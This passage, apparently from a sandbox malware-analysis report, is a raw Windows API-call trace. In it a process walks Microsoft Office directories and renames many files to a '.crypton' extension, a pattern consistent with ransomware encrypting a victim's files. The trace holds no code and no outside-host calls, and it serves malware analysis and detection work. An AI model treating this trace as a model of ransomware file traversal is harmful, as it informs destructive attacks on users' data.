"c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif.crypton"), dwFlags=0x2) returned 1 [0088.494] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif.crypton"), dwFlags=0x2) returned 1 [0088.500] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif.crypton"), dwFlags=0x2) returned 1 [0088.504] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif.crypton"), dwFlags=0x2) returned 1 [0088.508] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif.crypton"), dwFlags=0x2) returned 1 [0088.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif.crypton"), dwFlags=0x2) returned 1 [0088.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif.crypton"), dwFlags=0x2) returned 1 [0088.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif.crypton"), dwFlags=0x2) returned 1 [0088.519] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif.crypton"), dwFlags=0x2) returned 1 [0088.521] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif.crypton"), dwFlags=0x2) returned 1 [0088.524] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif.crypton"), dwFlags=0x2) returned 1 [0088.527] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif.crypton"), dwFlags=0x2) returned 1 [0088.529] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif.crypton"), dwFlags=0x2) returned 1 [0088.534] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif.crypton"), dwFlags=0x2) returned 1 [0088.537] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif.crypton"), dwFlags=0x2) returned 1 [0088.540] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif.crypton"), dwFlags=0x2) returned 1 [0088.544] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif.crypton"), dwFlags=0x2) returned 1 [0088.546] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif.crypton"), dwFlags=0x2) returned 1 [0088.548] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif.crypton"), dwFlags=0x2) returned 1 [0088.550] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif.crypton"), dwFlags=0x2) returned 1 [0088.553] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif.crypton"), dwFlags=0x2) returned 1 [0088.839] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.crypton"), dwFlags=0x2) returned 1 [0088.844] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2506220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2506220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549750 [0088.851] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2506220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2506220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0088.853] GetFileType (hFile=0x198) returned 0x1 [0088.857] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb252c380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb252c380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0088.906] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.crypton"), dwFlags=0x2) returned 1 [0088.914] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.crypton"), dwFlags=0x2) returned 1 [0088.920] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.crypton"), dwFlags=0x2) returned 1 [0088.926] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.crypton"), dwFlags=0x2) returned 1 [0088.931] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb25eaa60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb25eaa60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0088.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc.crypton"), dwFlags=0x2) returned 1 [0088.935] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc.crypton"), dwFlags=0x2) returned 1 [0089.235] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.crypton"), dwFlags=0x2) returned 1 [0089.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.crypton"), dwFlags=0x2) returned 1 [0089.303] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.crypton"), dwFlags=0x2) returned 1 [0089.308] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.crypton"), dwFlags=0x2) returned 1 [0089.313] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.crypton"), dwFlags=0x2) returned 1 [0089.320] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb297cb60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb297cb60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0089.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif.crypton"), dwFlags=0x2) returned 1 [0089.341] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif.crypton"), dwFlags=0x2) returned 1 [0089.360] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif.crypton"), dwFlags=0x2) returned 1 [0089.366] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif.crypton"), dwFlags=0x2) returned 1 [0089.379] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif.crypton"), dwFlags=0x2) returned 1 [0089.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif.crypton"), dwFlags=0x2) returned 1 [0089.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif.crypton"), dwFlags=0x2) returned 1 [0089.399] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif.crypton"), dwFlags=0x2) returned 1 [0089.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif.crypton"), dwFlags=0x2) returned 1 [0089.419] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif.crypton"), dwFlags=0x2) returned 1 [0089.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif.crypton"), dwFlags=0x2) returned 1 [0089.440] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif.crypton"), dwFlags=0x2) returned 1 [0089.446] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2ad37c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2ad37c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0089.450] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css.crypton"), dwFlags=0x2) returned 1 [0089.452] GetFileType (hFile=0x1a8) returned 0x1 [0089.456] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2ad37c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2ad37c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.457] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css.crypton"), dwFlags=0x2) returned 1 [0089.475] GetFileType (hFile=0x1a8) returned 0x1 [0089.480] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2b1fa80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2b1fa80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.481] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif.crypton"), dwFlags=0x2) returned 1 [0089.483] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft 